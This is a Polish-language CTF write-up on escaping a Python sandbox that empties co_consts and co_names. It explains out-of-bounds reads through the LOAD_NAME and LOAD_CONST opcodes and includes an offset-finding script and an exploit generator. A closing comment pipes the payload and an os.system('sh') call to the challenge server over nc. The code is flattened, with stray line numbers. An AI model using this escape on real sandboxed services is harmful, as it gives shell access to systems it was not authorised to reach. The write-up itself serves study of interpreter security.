Możemy użyć funkcji odczytu OOB (Out-of-Bounds) w instrukcjach LOAD_NAME / LOAD_CONST, aby otrzymać pewien symbol w pamięci. Oznacza to, że można użyć sztuczki takiej jak (a, b, c, ... setki symboli ..., __getattribute__) if [] else [].__getattribute__(...) aby uzyskać symbol (np. nazwę funkcji), którą chcesz.
Następnie wystarczy stworzyć swój exploit.
Przegląd
Kod źródłowy jest dość krótki, zawiera tylko 4 linie!
Możesz wprowadzić dowolny kod Pythona, który zostanie skompilowany do obiektu kodu Pythona. Jednak co_consts i co_names tego obiektu kodu zostaną zastąpione pustą tuplą przed ewaluacją tego obiektu kodu.
W ten sposób wszystkie wyrażenia zawierające stałe (np. liczby, ciągi znaków itp.) lub nazwy (np. zmienne, funkcje) mogą spowodować błąd segmentacji na końcu.
Odczyt poza granicami
Jak dochodzi do błędu segmentacji?
Zacznijmy od prostego przykładu, [a, b, c] może zostać skompilowane do następującego kodu bajtowego.
Ale co jeśli co_names stanie się pustą krotką? Instrukcja LOAD_NAME 2 nadal zostanie wykonana i spróbuje odczytać wartość z tego adresu pamięci, który pierwotnie powinien być. Tak, to jest funkcja odczytu "poza granicami".
Podstawowa koncepcja rozwiązania jest prosta. Niektóre instrukcje w CPython, na przykład LOAD_NAME i LOAD_CONST, są podatne (?) na odczyt poza granicami.
Pobierają obiekt z indeksem oparg z krotki consts lub names (tak są nazwane co_consts i co_names wewnętrznie). Możemy odwołać się do poniższego krótkiego fragmentu dotyczącego instrukcji LOAD_CONST, aby zobaczyć, co CPython robi podczas przetwarzania instrukcji LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
W ten sposób możemy użyć funkcji OOB, aby uzyskać "nazwę" z dowolnego przesunięcia pamięci. Aby upewnić się, jaką nazwę ma i jakie ma przesunięcie, wystarczy próbować LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... I możesz znaleźć coś dla oparg > 700. Możesz również spróbować użyć gdb, aby przyjrzeć się układowi pamięci, ale nie sądzę, żeby było to łatwiejsze?
Generowanie Exploita
Gdy już uzyskamy przydatne przesunięcia dla nazw / stałych, jak uzyskać nazwę / stałą z tego przesunięcia i jej użyć? Oto trik dla Ciebie:
Załóżmy, że możemy uzyskać nazwę __getattribute__ z przesunięcia 5 (LOAD_NAME 5) z co_names=(), wystarczy zrobić następujące rzeczy:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Zauważ, że nie jest konieczne nazywanie go __getattribute__, możesz nadać mu krótszą lub bardziej dziwną nazwę.
Możesz zrozumieć powód tego, po prostu przeglądając jego kod bajtowy:
Zauważ, że LOAD_ATTR również pobiera nazwę z co_names. Python wczytuje nazwy z tej samej pozycji, jeśli nazwa jest taka sama, więc drugie __getattribute__ jest nadal wczytywane z pozycji=5. Wykorzystując tę funkcję, możemy używać dowolnej nazwy, jeśli nazwa jest w pamięci w pobliżu.
Generowanie liczb powinno być trywialne:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Skrypt wykorzystujący
Nie użyłem stałych ze względu na ograniczenie długości.
Najpierw oto skrypt, który pomoże nam znaleźć te pozycje nazw.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
A następnie jest to do generowania prawdziwego ataku wykorzystującego Pythona.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
To podstawowo wykonuje następujące czynności dla tych ciągów, które otrzymujemy z metody __dir__: